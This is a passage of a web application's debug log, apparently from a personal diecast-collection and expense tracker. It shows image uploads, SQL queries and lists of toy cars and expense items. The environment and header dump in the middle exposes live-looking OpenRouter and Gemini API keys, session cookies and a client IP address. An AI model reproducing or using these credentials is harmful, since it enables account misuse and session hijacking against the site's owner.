  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-23-20378841770187300380',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'bc957a288739b12d15aecc9bf5a56e28',
  mv: [Function: mv]
}
2026-02-04T06:41:40.386Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105336_73f95d73-46d8-4b6e-a2c1-e157e2c6e59b.jpg',
  rel: 'public/assets/images/diecast/Screenshot_2026-02-04_105336_73f95d73-46d8-4b6e-a2c1-e157e2c6e59b.jpg'
}
2026-02-04T06:41:40.386Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105336_73f95d73-46d8-4b6e-a2c1-e157e2c6e59b.jpg',
  rel: 'assets/images/diecast/Screenshot_2026-02-04_105336_73f95d73-46d8-4b6e-a2c1-e157e2c6e59b.jpg'
}
2026-02-04T06:41:40.386Z server-connect:output upload_image: [
  {
    name: 'Screenshot_2026-02-04_105336_73f95d73-46d8-4b6e-a2c1-e157e2c6e59b.jpg',
    path: '/public/assets/images/diecast/Screenshot_2026-02-04_105336_73f95d73-46d8-4b6e-a2c1-e157e2c6e59b.jpg',
    url: '/assets/images/diecast/Screenshot_2026-02-04_105336_73f95d73-46d8-4b6e-a2c1-e157e2c6e59b.jpg',
    type: 'image/jpeg',
    size: 112810
  }
]
2026-02-04T06:41:40.386Z server-connect:app Executing action step repeat
2026-02-04T06:41:40.386Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T06:41:40.386Z server-connect:app Executing action step insert
2026-02-04T06:41:40.386Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T06:41:40.387Z server-connect:output images: { affected: 1, identity: 174 }
2026-02-04T06:41:40.387Z server-connect:output repeat_images: [ {} ]
2026-02-04T06:41:40.387Z server-connect:output condition: undefined
2026-02-04T06:41:40.387Z server-connect:output condition: undefined
2026-02-04T06:41:40.647Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:41:40.647Z server-connect:app Executing action step identify
2026-02-04T06:41:40.647Z server-connect:app options: { provider: 'security' }
2026-02-04T06:41:40.647Z server-connect:output identity: 1
2026-02-04T06:41:40.647Z server-connect:app Executing action step restrict
2026-02-04T06:41:40.647Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:41:40.648Z server-connect:output restrict: undefined
2026-02-04T06:41:40.648Z server-connect:app Executing action step paged
2026-02-04T06:41:40.648Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:41:40.651Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 24,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 69,
      model_name: '22 Ford F 150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 58,
      model_name: 'Jeep Avenger 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 57,
      model_name: 'Audi E Tron EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 56,
      model_name: 'Jeep Wagoneer 2022',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:46:32.997Z server-connect:router Serving templateView /diecast
2026-02-04T06:46:32.997Z server-connect:app Executing action step identify
2026-02-04T06:46:32.997Z server-connect:app options: { provider: 'security' }
2026-02-04T06:46:32.997Z server-connect:output identity: 1
2026-02-04T06:46:32.997Z server-connect:app Executing action step restrict
2026-02-04T06:46:32.997Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:46:32.999Z server-connect:output restrict: undefined
2026-02-04T06:46:32.999Z server-connect:router Render template layouts/main
2026-02-04T06:46:32.999Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { condition: '', manufacturer: '73' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'condition=&manufacturer=73',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T06:46:33.971Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T06:46:33.972Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T06:46:33.972Z server-connect:app Executing action step identify
2026-02-04T06:46:33.972Z server-connect:app options: { provider: 'security' }
2026-02-04T06:46:33.972Z server-connect:output identity: 1
2026-02-04T06:46:33.972Z server-connect:app Executing action step restrict
2026-02-04T06:46:33.972Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:46:33.972Z server-connect:app Executing action step identify
2026-02-04T06:46:33.972Z server-connect:app options: { provider: 'security' }
2026-02-04T06:46:33.972Z server-connect:output identity: 1
2026-02-04T06:46:33.972Z server-connect:app Executing action step restrict
2026-02-04T06:46:33.972Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:46:33.973Z server-connect:output restrict: undefined
2026-02-04T06:46:33.973Z server-connect:app Executing action step select
2026-02-04T06:46:33.973Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T06:46:33.974Z server-connect:output restrict: undefined
2026-02-04T06:46:33.974Z server-connect:app Executing action step single
2026-02-04T06:46:33.974Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T06:46:33.979Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
